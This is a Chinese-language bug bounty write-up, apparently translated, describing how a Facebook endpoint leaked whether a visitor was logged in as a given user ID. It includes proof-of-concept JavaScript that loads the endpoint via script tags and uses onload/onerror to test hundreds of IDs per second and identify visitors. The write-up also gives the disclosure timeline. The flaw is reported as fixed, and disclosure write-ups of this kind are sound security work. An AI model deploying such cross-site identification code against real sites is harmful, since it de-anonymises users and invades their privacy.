挖洞经验 | 通过一个网页识别Facebook用户当前登录状态
作者:admin | 时间:2019-3-18 22:04:49 | 分类:黑客技术 隐藏侧边栏展开侧边栏
本文分享的是一个关于Facebook的漏洞,漏洞机制在于:可以通过一个网页,以输入Facebook用户ID的方式,来识别其对应的Facebook用户在当前时间内,是否处于Facebook登录状态。最终,漏洞上报后,Facebook方面花了半年多才修复了这个漏洞,并奖励了$1000美金赏金。以下为作者漏洞发现的思路过程。
漏洞前言
去年,Facebook深陷剑桥分析公司的用户隐私事件中,马克·扎克伯格被要求在国会上出席公开听证会。听证会上,其中就有一个问题就是,Facebook是否能通过自身或其嵌入应用的第三方网站来跟踪用户收集用户信息。当时,很多媒体都对Facebook做了铺天盖地的报道,社会上也呈现出一边倒的负面舆论。为此,作为向公众担忧的回应,Facebook宣布了很多数据安全措施,其中就包括了启动“数据滥用悬赏”计划(Data Abuse Bounty),旨在奖励与Facebook用户数据安全相关的漏洞隐患和行为发现,实现全社会对用户数据保护的监督。
作为我来说,自去年发现了谷歌的搜索结果排名漏洞之后,我就着手研究,是否能通过其它网站来跟踪或者说识别出Facebook用户。经过大量测试后,我尝试着寻找一个漏洞,基于该漏洞,可以发现网站访问者是否登录了某个相关联的Facebook账户,而且,我希望最终可以实现的识别机制是,每秒要能识别数百个身份的效率。
漏洞发现过程
Facebook部署了好多后端服务,用于全站各种AJAX请求。这些后端服务在安全实现方面,都在服务端响应架构中设置了合理的access-control-allow-origin头和各种“神奇”前缀,以此来阻止JSON劫持和其它恶意攻击。
首先,我在Facebook中寻找着不存在上述保护机制的服务端,和一些可以在URL链接中传递用户ID的服务端,我还想方设法去解析Facebook响应内容,去确认URL链接中的UID是否正确。
其次,我着重查找了那些URL链接中包含用户ID的相关图片,且这些图片在UID和关联账户登录相匹配时会产生不同行为,这样的话,我就能进行一些构造利用,但也仅限一些特定ID(类似方法)。经测试发现,某张图片确实在登录匹配时发生了异常行为,但是其相关的URL链接中仍然包含了用于CSRF攻击防御的fb_dtsg参数,为了防止滥用,该参数对每位用户来说都是不同的。
另外,我还检查了URL链接中的所有301和302跳转,我想如果可能的话,这种跳转可能会以某种方式重定向到某张图片,然后就能构造像上述的攻击测试了。
最终,经过给大量的上述服务端检查测试之后,我终于发现了一个服务端在行为方式上有所不同,尽管这只是一小点的略有差异,但是也能说明问题。这个服务端本身确实是有access-control-allow-origin消息控制头的,但当URL链接中的用户ID参数(在__user的URL中)与关联账户的登录行为不匹配时,服务端中就会包含一个”error“前缀,而当两者行为匹配时,其中就不会包括任何前缀。URL中的用户ID和关联账户登录行为匹配时,服务端响应为JSON内容。如下为用户ID和关联账户登录行为不匹配以及匹配时的响应内容:
然而,由于烦人的access-control-allow-origin消息控制头,浏览器会发起阻止,所以我不能通过XMLHttpRequest (XHR)方式对它进行调用。为此,我一度认为这是一个死胡同方法,但后来我又意识到,我可以用<script>块加.src的方式来调用这个外部链接啊。总之,这种调用行为,肯定是不能成功登录关联账户的,但可以从以上两种不同的响应方式和content-type头中来综合判断出,关联账户在当前时间内,是否登录Facebook的状态。为此,还可继续通过利用<script>的onload 和 onerror事件方法来对登录状态进行一个有效判断。
PoC
我发现存在响应异常的Facebook服务端如下:
基于此,我可以构造一个简单的 Javascript 脚本配合一些调用标签去检查相关用户ID的Facebook登录状态。由于Facebook的后端为HTTP2协议,所以可以同时快速地处理大量类似请求。在我构造的查询页面中,可以每秒查询400到500个用户ID,如果按正常来算的话,在一分钟之内就可以轻松查询数千个用户ID的登录状态。况且,Facebook的这个服务端无任何速率限制。
我构造的查询页面为:http://www.tomanthony.co.uk/security/fb_identifier/index.html
Facebook的用户ID一般在登录后的个人设置页面会有显示,如:
在这里,如果你输入查询的用户ID在当前时间内确实处于Facebook登录状态,它就会显示:
如果查询的用户ID在当前时间内不处于Facebook登录状态,它的结果为:
其中主要用到的方法如下:
$(document).ready(function() {
for (i = 0; i < ids.length; i++) {
userid = ids[i];
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { update_auto_result(this.id, false); };
scriptblock.onerror = function() { update_auto_result(this.id, true); };
document.getElementById('scriptblock').appendChild(scriptblock);
}
});
function runcheck(userid)
{
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { show_result(userid, false); };
scriptblock.onerror = function() { show_result(userid, true); };
document.getElementById('manualblock').appendChild(scriptblock);
}
function show_result(userid, status)
{
if (userid == "")
return;
try {
if (status)
{
$("#FacebookStatus").html("You <span class='green'>are</span> currently logged in to <strong>" + userid + "</strong>");
}else{
$("#FacebookStatus").html("You <span class='red'>are not</span> currently logged in to <strong>" + userid + "</strong>");
}
}catch(err) {
//nada }
}
function update_auto_result(userid, status)
{
var people = {};
people["4"] = "MarkZ";
if (status) {
if (userid in people)
{
$("#knownAccount").html("I know you! You are: " + people[userid]);
}else{
$("#knownAccount").html("I know you! You are: " + userid);
}
}
}
</script>
具体可以右键查看网页源码来参考。
漏洞危害
单独从漏洞利用方面来讲,该漏洞影响有限,因为需要查询某个Facebook用户的登录状态,你还要需要知道他的Facebook用户ID。
然而,”剑桥分析“数据隐私丑闻事件中就泄露了大量Facebook用户信息,一旦这些信息被人恶意利用,结合该漏洞,无需其它Facebook APIs,就能对这些用户的Facebook登录状态进行识别了。
另外,该漏洞最邪恶的攻击利用者,如某些专制政府,他们手里肯定掌握某些特定人员的如用户ID的Facebook用户信息。其次,如果在某些公司内网中,要收集内部人员的Facebook用户信息也是非常容易的。
所以,综合来说,确实漏洞威胁有限,但是,对大部份人来说,其影响可能很小,但对一些特定人群来说,影响就会很大。对于任何被识别的Facebook用户来说,这也属于个人隐私侵犯。
漏洞披露进程
2018.4.20 漏洞初报
2018.4.20 Facebook回复我漏洞已经转给相关内部安全团队进行调查
2018.5.1 我询问Facebook当前漏洞状态
2018.5.2 Facebook回复仍然处理调查过程之中
2018.5.23 我发现漏洞已在 Chrome 浏览器环境进行了修复,但还可以通过Safari进行利用
2018.5.23 Facebook回复正在制订修复方案
2018.6.20 Facebook奖励了我$1000美金
2018.10.1 向 Facebook进行漏洞公开申请
2018.10.1 Facebook回复称漏洞还在处于修复过程中
2018.10.1 我继续跟进 之后Facebook回复称可以公开漏洞
*参考来源:tomanthony,clouds编译,转自FreeBuf